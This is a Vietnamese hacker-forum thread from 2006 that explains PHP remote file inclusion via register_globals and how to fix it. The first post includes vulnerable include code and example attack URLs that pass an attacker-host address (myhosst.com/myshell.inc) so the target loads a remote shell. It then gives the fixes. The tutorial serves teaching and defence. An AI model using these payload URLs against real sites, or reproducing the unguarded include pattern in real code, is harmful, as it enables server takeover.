[Question] Phân tích exploit PHP remote include file và cách fixed |
28/06/2006 00:08:31 (+0700) | #1 | 1471 |
mrdung
Member
|
0 |
|
|
Joined: 20/03/2005 18:24:46
Messages: 12
Location: congdongtinhoc.com
Offline
|
|
*Giới thiệu:
Như các bạn biết thì trong PHP do không cần khai báo biến trước như trong C, C++, C# và PHP lại hổ trợ biến từ trình duyệt. Kết quả của điều này là : Nếu như một coder không chú ý kỉ càng về việc kiểm tra biến, kiểm tra quá trình khởi tạo biến. Hacker sẻ lợi dụng điều này để tạo ra một số biến bất hợp pháp để truy cập và xử lý các câu lệnh bất trái phép ngay trên chính script bị lổi.
*Phương thức:
Vì trong PHP cho phép khởi tạo biến từ forrm ví dụ:
<form action="script.php" method="post">
<input type="text" name="dungit" />
<input type="submit" value="OK" />
</form>
Thì trong script.php sẻ tự động tạo ra một biến có tên $dungit và giá trị của nó là giá trị trong ô text nhập vào. Nếu như trong script.php đã có sẳn biến $dungit và biến $dungit chưa được gán giá trị Thì nó sẻ tự động gán giá trị của $dungit bởi giá trị trong ô text nhập vào.
Như vậy dungit lấy một ví dụ:
giả sử trong file common.php (Giả sử file này chỉ là một phần cho file khác nó được dùng để sát nhập vào một file khác(Tôi ví dụ như thế này để sử dụng lại ví dụ này cho cơ chế fixx lổi sau)) của một script nào đó có dạng:
<?php
//........
include($dungit.'confing.php');
//........
?>
và trong file index.php (File sẻ sử dụng common.php) có dạng:
<?php
//......
include('common.php');
//......
?>
Nếu như bạn nhình vào common.php và bạn thấy rằng $dungit chưa được khởi gán giá trị thì ...Nó sẻ có bug rất nguy hiểm đó là tôi sẻ gán giá trị cho biến $dungit thành một đường dẩn tới file php của tôi(Shell chẳng hạn)
Tôi sẻ gỏ trên trình duyệt:
a.http://www.domain.com/[script]/common.php?dungit=http://myhosst.com/myshell.inc?
Gỏ như trên tương đương với biến của form theo phương thưc GET. Và khi vào common.php thì các vấn đề sau đây sẻ xảy ra:
Biến $dungit = http://myhosst.com/myshell.inc?
và câu lệnh include sẻ có dạng:
include($dungit.'config.php'); <=> include http://myhosst.com/myshell.inc?config.php);
Cái này có ý nghĩa gì? Nó sẻ truy cập con shell và củng gửi vào con shell biến config.php có gí trị null.Và trong con shell thì không sử dụng biến này nên nó không có ý nghĩa nữa và nó tương đương:
include http://myhosst.com/myshell.inc);
Thế là xong....
b.http://www.domain.com/[script]/common.php?dungit=http://myhosst.com/
Như vậy giá trị của biến $dungit=http://myhosst.com/ và câu lệnh include sẻ có dạng:
include http://myhosst.com/config.php);
Như vậy tôi chỉ cần thay đổi tên con shell trên host của tôi thành config.php thì tôi đã đánh lừa được nó và củng include được shell.
*Nguyên nhân.
À đến đây các bạn sẻ test thử câu lệnh của tôi, và bạn sẻ thấy trang trắng? Đúng.Vì do bạn config file php.ini theo recommend của php.net đối với phiên bản từ 4.2.0 trở lên
Đối với php phiên bản dưới 4.2.0 nếu config file php.ini theo recommend của php.net thì sẻ bị dính bug trên nếu như coder yếu trong secure.
*Fixxed
--> Cách thứ nhất: Lấy lại ví dụ trên:
+Trong file bị dính lổi này bạn thêm vào câu lệnh để nếu như sự truy cập vào nó là trái phep thì php không biên dịch ( thoát) các câu lệnh tiếp theo.
Bạn thêm câu lệnh này ngay đầu tiên của common.php
if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
Ý nghĩa: Nếu Hằng ACESSOK không phải là true thì thoát không biên dịch các dòng lệnh tiếp theo.Có nghĩa khi bạn truy cập vào common.php thì nó sẻ thoát.
Như vậy tao được file common.php là
<?php
if ( !defined('ACCESSOK') )
{
die('Ban khong duoc phep truy cap file nay.');
}
//........
include($dungit.'confing.php');
//........
?>
+ Trong tất cả các file có sử dụng common.phpTrong ví dụ này là index.php. bạn phải cho hằng ACCESSOK = true để được phép truy cập các câu lệnh còn lại.
bạn thêm dòng này ngay trước include common.php
define('ACCESSOK', true);
$dungit = null;
ý nghĩa, khi common.php được include vào index.php thì ACCESSOK đã bằng true nên nó sẻ biên dịch tất cả câu lệnh có trong common.php
Ta khởi tạo biến $dungit=null; để tránh có sự gán biến từ form.Vì sao:
@Thế này nhé giả sử bạn nhập từ form giả sử index.php?dungit=http://www.toshell.com
Khi vào index.php có dạng
<?php
$dungit = 'http://www.toshell.com';
define('ACCESSOK', true);
$dungit = null;
....
?>
Thì out put $dungit vẩn là null.
Vậy file index.php có dạng như sau:
<?php
define('ACCESSOK', true);
$dungit = null;
//......
include('common.php');
//......
?>
--> Cách 2: hãy config file php.ini theo recommend của php >=4.2.0
Vì sao? Vì cái này lên quan đến biến của PHP là register_global Cho phép tôi không bàn về biến này.
|
|
|
|
|
[Question] Re: Phân tích exploit PHP remote include file và cách fixed |
30/09/2006 11:58:21 (+0700) | #2 | 26740 |
|
zuirShjle
Member
|
0 |
|
|
Joined: 30/09/2006 00:20:07
Messages: 4
Location: Địa ngục
Offline
|
|
Anh ơi ! Website hay Forum bằng ngôn ngữ PHP vd Vbb hay PhpBB có bị lỗi này không ạ |
|
|
[Question] Re: Phân tích exploit PHP remote include file và cách fixed |
30/09/2006 12:16:17 (+0700) | #3 | 26749 |
|
hieuhoc
Member
|
0 |
|
|
Joined: 08/09/2006 21:57:39
Messages: 103
Offline
|
|
cool,tks pác mrdung,còn cái nào hay pác làm tiếp cho AE học hỏi cái.Tks |
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|